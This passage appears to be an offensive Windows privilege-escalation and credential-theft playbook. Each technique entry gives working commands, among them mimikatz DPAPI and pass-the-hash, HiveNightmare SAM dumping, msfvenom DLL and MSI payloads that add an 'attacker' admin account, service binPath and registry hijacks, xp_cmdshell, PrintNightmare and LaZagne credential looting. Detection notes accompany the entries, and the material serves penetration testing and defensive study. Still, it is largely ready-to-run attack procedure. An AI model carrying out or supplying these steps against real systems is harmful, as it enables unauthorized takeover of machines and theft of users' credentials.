Windows Credential Manager entries and vaults are DPAPI-protected. With the user password (or SYSTEM access to the masterkey, or a domain DPAPI backup key) decrypt the masterkey, then the credential blobs. SharpDPAPI / mimikatz automate this. Chrome/modern-Edge saved logins are also DPAPI-wrapped but live in the browser's own Login Data store and are classified separately as T1555.003 (Credentials from Web Browsers); only IE/legacy-Edge web credentials land in Credential Manager (T1555.004).
# Decrypt a masterkey (known password)
dpapi::masterkey /in:"%APPDATA%\Microsoft\Protect\<SID>\<GUID>" /sid:<SID> /password:<pw># Decrypt a credential blob (check both %LOCALAPPDATA%\Microsoft\Credentials\ and %APPDATA%\Microsoft\Credentials\)
dpapi::cred /in:"%LOCALAPPDATA%\Microsoft\Credentials\<blob>" /masterkey:<key>OPSEC / detection: Reading masterkey + Credentials files and invoking DPAPI is detectable via file access patterns and known tool signatures.
Reuse cmdkey-saved creds via runas /savecred.
cmdkey /list reveals credentials saved in Credential Manager. If an admin credential was saved by a prior runas /savecred (an interactive-logon-type credential), run commands as that user with runas /savecred without knowing the password, directly inheriting their privileges. Note that credentials merely added with cmdkey /add or /generic are a different credential type and are generally NOT accepted by runas /savecred.
# List stored creds
cmdkey /list# Run as the saved (admin) user (/user: must match the exact target shown by cmdkey /list, e.g. HOSTNAME\Administrator or DOMAIN\svc_admin)
runas /savecred /user:HOSTNAME\Administrator "cmd /c net localgroup administrators attacker /add"OPSEC / detection: Low-noise; uses built-in tools. The runas-spawned process tree under a different user is the main signal.
Read a cleartext autologon password from the registry.
When automatic logon is configured manually via the registry (KB 324737), Windows stores the account name and its password in cleartext under the Winlogon registry key (DefaultUserName / DefaultPassword, with AutoAdminLogon = 1), and any user can read these values. If the autologon account is a local or domain admin, you have its password directly, no cracking required. This does NOT hold for autologon set up with Sysinternals Autologon.exe: that tool stores the secret as the LSA secret DefaultPassword under HKLM\SECURITY\Policy\Secrets (admin/SYSTEM ACL), so the reg query below returns nothing and recovery needs lsadump / SeSecurityPrivilege instead.
# Read the autologon values (query the whole key to surface AutoAdminLogon + DefaultUserName/DefaultDomainName/DefaultPassword together)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"OPSEC / detection: Read-only registry query; very quiet. The cleartext password is only present when autologon was configured via the registry; an Autologon.exe-configured host has no DefaultPassword value and needs an LSA-secret dump (noisier, admin-only) instead.
CVE-2021-36934: any user reads SAM via a shadow copy.
On affected Windows 10/11 builds the ACLs on C:\Windows\System32\config\SAM, SYSTEM and SECURITY mistakenly granted BUILTIN\Users read access. A non-admin can read these hives out of a Volume Shadow Copy and extract the local-admin hash offline: no SeBackup, no admin token required. Mitigated by patching, fixing the ACLs, and deleting existing shadow copies.
# Confirm the over-permissive ACL
icacls C:\Windows\System32\config\SAM# Extract in-use hives from a shadow copy (produces SAM-haxx etc.)
HiveNightmare.exe# Dump the extracted hives offline
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCALOPSEC / detection: The raw offline hive read is quiet, but running icacls against the config hives and touching a shadow copy are both documented HiveNightmare detection signatures (Defender/Splunk/SOC Prime), so on a monitored host this is not silent. It depends on a shadow copy existing. Fully patched/mitigated systems are not affected.
Read PSReadLine command history for secrets.
PSReadLine saves every PowerShell command to ConsoleHost_history.txt in the user profile, readable by its owner. Administrators routinely paste passwords, connection strings, and API keys into PowerShell, so your own history file is a reliable, no-privilege credential source. Reading OTHER users' histories under C:\Users\* needs local admin, since each profile's AppData is ACL'd to the owner, SYSTEM, and Administrators only.
# Read your own history file (no privilege)
type "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"# All users (requires local admin: reads other profiles)
gc C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtOPSEC / detection: Reading your own file is silent. The all-users wildcard read is admin-only and can generate access-denied noise or file-access audit events (4663) across other users' profiles. Depends on a user having typed a secret.
Hunt secrets across configs, scripts, and user artifacts.
Credentials hide all over the filesystem: unattended-install files (Unattend.xml, sysprep, Autounattend.xml under C:\Windows\Panther\), application configs (web.config, *.config, appsettings.json), scripts and .bat/.ps1 files, and user artifacts: the Recycle Bin, Sticky Notes (plum.sqlite), unsaved Notepad tabs (Windows 11 TabState), and custom config files. Grep broadly for password/key patterns; winPEAS and LaZagne automate most of these locations.
# Recursive password grep
findstr /si password *.xml *.ini *.txt *.config *.json# Unattend / sysprep files
dir /s /b C:\Windows\Panther\Unattend.xml C:\Windows\System32\sysprep\*.xml# Sticky Notes store
dir /s C:\Users\*\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_*\LocalState\plum.sqliteOPSEC / detection: Read-only hunting is quiet; broad recursive searches can be noisy on disk-access auditing.
Loot KeePass / browser stores for saved logins.
Locally stored vaults are high-value: KeePass .kdbx databases (and the KeePass 2.x CVE-2023-32784 master-password memory leak), browser-saved logins (Chrome/Edge "Login Data" SQLite, DPAPI-protected), and config files for other managers. LaZagne pulls credentials from dozens of such apps in one pass. Password-manager theft is T1555.005; browser-saved login theft is the distinct sub-technique T1555.003 (Credentials from Web Browsers).
# Find KeePass databases
dir /s /b C:\Users\*.kdbx# LaZagne, all modules
lazagne.exe allOPSEC / detection: Reading browser/KeePass files is quiet; LaZagne is AV-signatured.
Plant a binary along an unquoted, space-containing service path.
When a service ImagePath contains spaces and is not wrapped in quotes (e.g. C:\Program Files\My App\svc.exe), Windows tries each space-delimited prefix as an executable: C:\Program.exe, then C:\Program Files\My.exe, and so on. If you can write to one of those intermediate directories, drop a malicious binary there and it runs as the service account on next start.
# Find unquoted paths with spaces
Get-WmiObject win32_service | ? { $_.PathName -notlike '"*' -and $_.PathName -like '* *' } | select Name, PathName# Restart the service to trigger (sc stop is async and returns before STOPPED, so the start can race error 1061; poll or wait, e.g. sc query ... | findstr STOPPED, or rely on the auto-start-on-reboot path)
sc stop <service> & sc query <service> | findstr STOPPED & sc start <service>OPSEC / detection: A new EXE in an unusual path + service crash/restart events are detectable. The service runs your binary as its (often SYSTEM) account.
Reconfigure a modifiable service binPath to your command.
If your user holds SERVICE_CHANGE_CONFIG (or SERVICE_ALL_ACCESS) on a SYSTEM service, rewrite its binPath to an arbitrary command, then restart it. The Service Control Manager launches your command as the service account (typically LocalSystem). Find these with accesschk or SharpUp.
# Enumerate modifiable services
accesschk.exe -uwcqv "Users" * /accepteula# Hijack binPath (note the space after '=')
sc config <service> binpath= "net localgroup administrators attacker /add"# Trigger
sc stop <service> & sc start <service>OPSEC / detection: sc config changes and the service failing to return a control response are logged. The command still executes before the SCM errors out.
Overwrite a service EXE you can write to.
If the on-disk service executable (or its containing folder) is writable by your user but the service runs as SYSTEM, replace the binary with your payload and restart the service. Distinct from binPath abuse: here the misconfiguration is filesystem ACLs on the EXE rather than the service config.
# Check write access to a service binary
accesschk.exe -quvw "Users" "C:\Path\To\service.exe" /accepteula# Stop, replace, restart (running service locks its EXE)
sc stop <service> & copy /y payload.exe "C:\Path\To\service.exe" & sc start <service>OPSEC / detection: File-modification + service-restart events. Back up the original binary to restore the service afterward.
Rewrite a service ImagePath via a writable registry key.
If your user can write to a service key under HKLM\SYSTEM\CurrentControlSet\Services (even without service-config rights via the SCM), modify the ImagePath value to point at your binary. On next start the service launches your executable as its configured account (SYSTEM only if the service runs as LocalSystem; check ObjectName before targeting). Enumerate writable service keys with accesschk -k.
# Find writable service keys
accesschk.exe -kvuqsw hklm\System\CurrentControlSet\Services /accepteula# Overwrite ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\Services\<svc> /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\payload.exe" /fOPSEC / detection: Registry modification of ImagePath on a service key is a high-fidelity detection: the write event is logged the moment it happens (Sysmon Event ID 13, Security 4657) regardless of any later reversion. Restore the value afterward for operational cleanup and to avoid breaking the service, not to evade detection (restoring only adds a second change event).
Plant a DLL a privileged service loads from a writable path.
A SYSTEM service that searches for a DLL by name and finds it in a writable, earlier search-order location (or a missing 'phantom' DLL) will load attacker code into its process. Identify the missing/hijackable module (e.g. with Process Monitor) and drop a matching DLL whose DllMain runs your payload.
# Generate an x64 add-admin DLL (EXITFUNC=thread keeps the hijacked service alive)
msfvenom -p windows/x64/exec CMD='net localgroup administrators attacker /add' EXITFUNC=thread -f dll -o hijack.dllOPSEC / detection: An unsigned DLL loaded by a signed service binary from a user-writable directory (Sysmon Event ID 7) is a strong detection signal.
Plant a DLL a privileged service resolves by name from %PATH%.
If a directory listed in the system PATH is writable by your user, a privileged process or service that loads a DLL by bare name (no full path) can resolve it from your writable directory. Under the default DLL search order, PATH is searched LAST (after the application directory, System32, the Windows directory, and the current directory), so this only works for a DLL the target does NOT already resolve from one of those earlier locations, i.e. a missing / "ghost" DLL. Drop a matching DLL whose DllMain runs your payload; it loads into the privileged process. Distinct from a per-app DLL hijack: here the weakness is a globally writable PATH entry.
# Show the system PATH
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v Path# Check each PATH dir for write access (scoped to a principal you control)
accesschk.exe -uwdq "Users" "C:\SomePathDir" /accepteulaOPSEC / detection: An unsigned DLL loaded by a signed, privileged binary from a user-writable PATH directory (Sysmon Event ID 7) is a strong signal.
Overwrite an autorun binary that runs as an admin.
Programs referenced by Run/RunOnce registry keys or the Startup folder execute when a user logs on. If an autorun entry points to a binary you can overwrite (or its key is writable), replace it; when a higher-privileged user logs in, your payload runs in their context. Enumerate with Autoruns or winPEAS.
# List the HKLM Run key (the escalation target: fires for whoever logs on)
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run# List the HKCU Run key (context only: runs as the current user, useful for finding writable target binaries)
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run# Check write access to the target binary
accesschk.exe -wvu "C:\Path\To\autorun.exe" /accepteulaOPSEC / detection: Requires waiting for an admin logon. New/changed autorun entries are a classic detection (Autoruns, Sysmon).
Hijack a task whose binary you can overwrite.
Enumerate scheduled tasks and their actions; if a task runs as SYSTEM (or another privileged user) and invokes a binary/script you can write to, overwrite it with your payload. It executes under the task principal at the next trigger. Tasks running as SYSTEM are the prize.
# Enumerate tasks + run-as user
schtasks /query /fo LIST /v# Check write access to a task's target
accesschk.exe -quv "C:\Path\To\task.exe" /accepteulaOPSEC / detection: Event ID 4698/4702 on task changes; file modification of the task target. Overwriting an existing task binary is quieter than creating a new task.
Run OS commands as the SQL service account.
With sysadmin access to a local MSSQL instance, enable and call xp_cmdshell to execute OS commands as the SQL Server service account. If that account holds SeImpersonatePrivilege (common for service accounts), chain into a Potato attack for full SYSTEM.
# Enable xp_cmdshell
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;# Execute as the service account
EXEC xp_cmdshell 'whoami /priv';OPSEC / detection: sp_configure + xp_cmdshell are heavily monitored; many EDRs flag sqlservr.exe spawning cmd.exe.
Exploit a known LPE in installed software.
Enumerate installed applications and services and match their versions to public local-privilege-escalation CVEs. Vulnerable updaters, agents, VPN clients, and helper services frequently run as SYSTEM and have known exploits. winPEAS flags installed software and writable program directories; an outdated third-party service is often the easiest SYSTEM on the box.
# List installed software (registry, no MSI self-repair)
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr "DisplayName DisplayVersion"# 32-bit apps (Wow6432Node, missed by the native hive on 64-bit Windows)
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr "DisplayName DisplayVersion"# Non-default service binaries (PowerShell/CIM; wmic is disabled by default on 24H2 and being removed (25H2 upgrade / Server 2025 FoD-only))
Get-CimInstance Win32_Service | ? { $_.PathName -notlike '*C:\Windows*' } | select Name,PathName,StartModeOPSEC / detection: Exploit reliability varies; a crashing helper service is noticeable.
Break out of a higher-privileged app into a shell.
Any custom or third-party application installed on the host and running at higher privilege is a candidate: a vendor management console, an elevated helper service with a tray UI, line-of-business / in-house software, a kiosk app, or an installer. Such apps are frequently configured to run as Administrator or SYSTEM and are rarely hardened, so they can be coerced into spawning a child process that inherits their privileges: break out through a File > Open/Save dialog (type a path, or right-click > Open in a new window), embedded Help (hh.exe), or a hyperlink that launches a browser you then escape to cmd. The more bespoke software a machine runs elevated, the more of these break-out primitives exist. Enumerate what is installed and how each process runs.
OPSEC / detection: Spawning cmd from an unexpected parent (a vendor app, an installer, a browser, hh.exe) is a strong process-tree signal.
Spooler loads an attacker DLL as SYSTEM.
The Print Spooler's RpcAddPrinterDriverEx lets an authenticated user register a printer "driver" DLL that spoolsv.exe (running as SYSTEM) then loads. CVE-2021-1675 was the initial local-privilege-escalation assignment (June 2021 patch); when that patch was shown not to stop the attack, Microsoft assigned CVE-2021-34527 for the same primitive. The identical technique runs your DLL as SYSTEM either locally (point it at an on-disk DLL) or remotely (a UNC/SMB driver path against another host's spooler). Requires the Print Spooler service to be running; fully mitigated by disabling it or patching.
# Local LPE via a driver DLL
SharpPrintNightmare.exe C:\Temp\addCync.dllOPSEC / detection: Spooler loading a user-supplied driver DLL is heavily detected post-2021. Disabling the spooler kills it entirely.
Install a malicious MSI that runs as SYSTEM.
If the AlwaysInstallElevated policy DWORD is set to 1 in BOTH HKLM and HKCU, any user can install an MSI package that executes with SYSTEM privileges. Generate a malicious MSI and install it quietly. Both keys must be set; one alone is not exploitable.
# Check both hives (both must be 0x1)
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated# Build a SYSTEM payload MSI
msfvenom -p windows/x64/exec cmd='net user attacker P@ssw0rd! /add && net localgroup administrators attacker /add' -f msi -o evil.msi# Install silently (transfer evil.msi to C:\Temp on the target first)
msiexec /quiet /qn /i C:\Temp\evil.msiOPSEC / detection: msiexec installing an unsigned MSI from a temp path is suspicious; the new local admin / process tree is detectable.
Map OS build/hotfixes to known kernel LPEs.
Collect systeminfo (OS version + installed KBs) and feed it to WES-NG, the actively-updated primary tool, to list kernel/privilege-escalation CVEs the system is missing patches for. This is the triage step before grabbing a specific exploit binary; prefer it on older/unpatched hosts where service/token misconfigs are absent. Watson is an on-host alternative but is archived/unmaintained (read-only since 2021) and only covers Win10 up to 2004 and Server 2016-2019, so it returns empty/incomplete output on Windows 11, Server 2022, and Win10 20H2+; use Seatbelt or PrivescCheck for on-host checks on modern targets.
# Collect target info
systeminfo > systeminfo.txt# Bootstrap the definitions (fresh clone has none)
python wes.py --update# Analyze offline (attacker host)
python wes.py systeminfo.txt --muc-lookupOPSEC / detection: WES-NG runs offline on the attacker host (invisible). Watson is a .NET assembly run on-target, but it is archived and blind to modern builds. The follow-on kernel exploit is what risks instability.
Run a public exploit for an unpatched kernel CVE.
Once a missing-patch CVE is identified, run the matching public exploit against a kernel/driver vulnerability to execute code in the kernel and obtain a SYSTEM context (e.g. older targets vulnerable to CVE-2018-8120, MS16-135/CVE-2016-7255, or CVE-2021-1732, all Win32k kernel bugs). Verify the exact build first: wrong-build kernel exploits frequently bugcheck the host.
# Example (build-specific binary; most kernel PoCs pop a SYSTEM shell rather than take a command)
.\exploit.exe cmd.exeOPSEC / detection: High risk of instability / BSOD on the wrong build. Loud and last-resort; prefer misconfig-based vectors when available.
AFD for WinSock write primitive on Win11 21H2/22H2 and Server 2022; public PoC completes SYSTEM only on 22H2.
An elevation-of-privilege flaw in the Ancillary Function Driver for WinSock (afd.sys) that yields a controlled arbitrary kernel WRITE. The CVE and its write primitive affect Windows 11 21H2/22H2 and Server 2022. The widely-used chompie1337 public PoC uses that write to corrupt IoRing (I/O Ring) registered-buffer structures into a full arbitrary kernel read/write primitive, then swaps the process token to SYSTEM; it only completes this chain on Windows 11 22H2, so other builds require porting the offsets. Fast and reliable where the PoC matches the build.
OPSEC / detection: Driver exploitation can be caught by HVCI/EDR; the wrong build risks a bugcheck.
Win32k out-of-bounds write → SYSTEM (in-the-wild).
A Win32k elevation-of-privilege via an out-of-bounds write (CWE-787): a user-mode callback (NtUserConsoleControl / xxxClientAllocWindowClassExtraBytes) leaves the tagWND.WndExtra pointer and its is-offset flag out of sync, yielding kernel read/write and a token swap to SYSTEM. Originally exploited in the wild by the Bitter APT; the public KaLendsi PoC is validated on 1909 x64 and its offsets are build-specific, so other builds need porting.
OPSEC / detection: Kernel token manipulation is EDR-visible; the wrong build risks instability.
BITS arbitrary file move → SYSTEM, no SeImpersonate.
A symlink / arbitrary-file-move flaw in the Background Intelligent Transfer Service (BITS) that itm4n's exploit turns into an arbitrary file write as SYSTEM, then code execution. Works from a plain user without SeImpersonatePrivilege, across many Windows 7–10 builds.
OPSEC / detection: Reliable and quiet relative to kernel exploits, but the file-move primitive and new SYSTEM process are detectable.
Race Defender remediation for a privileged file write → SYSTEM.
CVE-2026-33825: insufficient access-control granularity in Microsoft Defender. A local user races a time-of-check / time-of-use window in Defender's threat-remediation engine, which writes files as SYSTEM without revalidating the path, to escalate to SYSTEM. Disclosed April 2026 alongside RedSun and UnDefend, patched in the April update, and listed in CISA's Known Exploited Vulnerabilities catalog. Awareness entry; exploitation specifics are intentionally omitted.
OPSEC / detection: Patched builds are immune; on unpatched hosts the remediation race and the new SYSTEM process are detectable.
Abuse Microsoft Defender cloud-file restore to write a file as SYSTEM (now patched).
A now-patched engine-level Windows privilege escalation (CVE-2026-41091, link-following / CWE-59), distinct from BlueHammer's plain remediation-write TOCTOU. During threat remediation Defender RESTORES (rather than quarantines) a cloud-tagged placeholder file, converted via the Windows Cloud Files API (cfapi/cldapi.dll), and does not revalidate the target path. A local user holds a batch oplock to pause the SYSTEM-privileged restore, then swaps in an NTFS junction that redirects the rewrite of the placeholder into a protected path (e.g. C:\Windows\System32\TieringEngineService.exe), landing code as SYSTEM. Disclosed April 2026, fixed in Defender Engine 1.1.26040.8 on 2026-05-19. Listed for awareness only; exploitation specifics are intentionally omitted.
OPSEC / detection: Triggering the exploit requires a Defender detection event (EICAR/malicious-file bait) that is itself logged, and success overwrites a signed System32 binary (TieringEngineService.exe); both are high-signal artifacts, not just a subtle path-confusion pattern.
UAC certificate dialog → SYSTEM browser → shell.
The Windows Certificate Dialog in the hhupd.exe UAC prompt failed to drop privileges when following the certificate's "Issued by" hyperlink. Clicking it opens Internet Explorer as SYSTEM; from there a Save-As / file dialog launches cmd.exe as SYSTEM. A one-click GUI escalation on unpatched Windows 7–10 / 2008–2019.
OPSEC / detection: iexplore.exe running as SYSTEM with parent consent.exe (and a cmd.exe child) is the tell-tale anomaly; the canonical Sigma rule matches exactly this consent.exe -> iexplore.exe pair.
A credential you recovered. Reuse it, and if it is a local admin, escalate.
Hunting the host (event logs, SAM/LSA secrets, DPAPI, autologon, config files, PowerShell history, browser and password-manager stores, the Credential Manager vault) yields a CREDENTIAL, not SYSTEM. What it gets you depends on whose it is. A local administrator's password or hash can be reused (runas, or pass-the-hash) to act as a local admin on this host, then take an Admin to SYSTEM path. Pass-the-hash as the built-in RID 500 Administrator works by default; pass-the-hash as any other local admin only works where LocalAccountTokenFilterPolicy=1 (non-RID-500 admins are otherwise token-filtered to medium integrity on remote logon). A domain or service account is a lateral lead into Active Directory. A peer user's is only useful sideways. Check what the account actually is before assuming it helps.
# Run as the recovered local user (cleartext)
runas /user:Administrator cmd.exe# Pass-the-hash to a local admin shell (token injection, no network)
sekurlsa::pth /user:Administrator /domain:. /ntlm:<nthash> /run:cmd.exeOPSEC / detection: Reusing a recovered local credential is quieter than exploitation but still logged; a mismatched account or source is the tell. The 4624 logon type varies by method: interactive runas is type 2; local pass-the-hash / over-PtH via sekurlsa::pth is type 9 (NewCredentials, seclogo); a network logon elsewhere with the reused hash is type 3.
Running as LOCAL/NETWORK SERVICE or an application-pool identity.
Code execution as a Windows service account: LOCAL SERVICE, NETWORK SERVICE, an IIS application-pool identity, or a service such as MSSQL. whoami names the account; whoami /priv lists its privileges. Service accounts very commonly hold SeImpersonatePrivilege, which leads straight to a Potato attack for SYSTEM. Where that privilege is not present, the default privilege set can usually be recovered first, then the same Potato path applies.
Recover a limited service token to its default privileges, including SeImpersonate.
A service running as LOCAL SERVICE or NETWORK SERVICE often starts with a heavily filtered token that is missing SeImpersonatePrivilege. The account's default privilege set can be restored by relaunching through the Task Scheduler while explicitly specifying the RequiredPrivileges set on the task principal, which forces the full default privilege set (including SeImpersonate / SeAssignPrimaryToken) into the spawned token, so a Potato attack becomes possible again. (Note: a task with RequiredPrivileges absent recovers everything EXCEPT SeImpersonate, so the explicit list is what does the work.) itm4n's FullPowers automates this, but it was archived (unmaintained) in 2024 and is reportedly less reliable on Windows 11 / Server 2022 and later, so treat it as one tool for the technique, not the technique itself, and verify on target.
# Recover the default privileges
FullPowers.exe -c "C:\Temp\payload.exe" -z# Confirm SeImpersonate is back
whoami /privOPSEC / detection: Spawns a scheduled-task-hosted process; the recovered token then runs Potato tooling, which EDR signatures heavily.
👑 Full local SYSTEM privileges.
You hold SYSTEM (or local administrator) on the host, with full control of the machine, its services, and any credentials in memory or on disk. From here, dump credentials and pivot. On a domain-joined host the next move is the Active Directory map, but it is not always AD: a dumped local-admin hash reused across a workgroup, or a recovered service-account credential, moves you host-to-host with no domain involved (see the Local Lateral Movement branch).
A SYSTEM service launches your payload on (re)start.
Whether you rewrote a binPath, replaced the on-disk EXE, hijacked a DLL it loads, edited the service's registry key, reconfigured it as a Server Operator, or pointed a service plugin at your DLL (DnsAdmins), the outcome is identical. When the Service Control Manager next starts the service, it runs your code as its account, almost always LocalSystem.
# Trigger the (re)start (sc stop returns at STOP_PENDING, so wait before starting)
sc stop <service> & timeout /t 5 & sc start <service>OPSEC / detection: Service install/change events (7045/7040) plus an unusual child process under services.exe are high-fidelity signals. Restore the original config afterward.
Code a higher-privileged context runs automatically.
Several misconfigs share one shape: a binary or script that a higher-privileged context executes, whether on a schedule, at logon, or via an accessibility hook (utilman/sethc), is writable by you, directly or after taking ownership. Overwrite it and wait for, or invoke, the trigger; your payload then runs as that principal.
OPSEC / detection: New/modified autorun, scheduled-task, or accessibility binaries are classic IOCs. The signals differ by vector: scheduled-task changes fire Event ID 4698/4702; autorun (Run key / Startup) changes surface as registry-modify (Sysmon Event ID 13 / Security 4657) and via Autoruns; accessibility-binary (utilman/sethc) overwrites surface as System32 file-create (Sysmon Event ID 11) and the image-load of the accessibility binary. Overwriting an existing target is quieter than creating one; restore it afterward.
Ring-0 execution collapses straight to SYSTEM.
A public kernel-CVE exploit or a bring-your-own-vulnerable-driver load (via SeLoadDriverPrivilege / Print Operators) gives you code execution in ring 0. From the kernel you can patch your token, steal the SYSTEM token, or spawn a SYSTEM process directly. The most powerful but least stable route: a wrong-build exploit or a blocked driver bugchecks the host.
OPSEC / detection: BYOVD is increasingly PREVENTED outright by HVCI / Memory Integrity plus the Microsoft Vulnerable Driver Blocklist (default-on since Win11 22H2), which stops a blocklisted or unsigned driver from loading in the first place. Unsigned driver loads and ring-0 token manipulation are also high-signal EDR detections (Sysmon Event ID 6 unsigned loads, 7045 service creation), and instability risks a visible crash. Prefer a misconfig vector when one exists.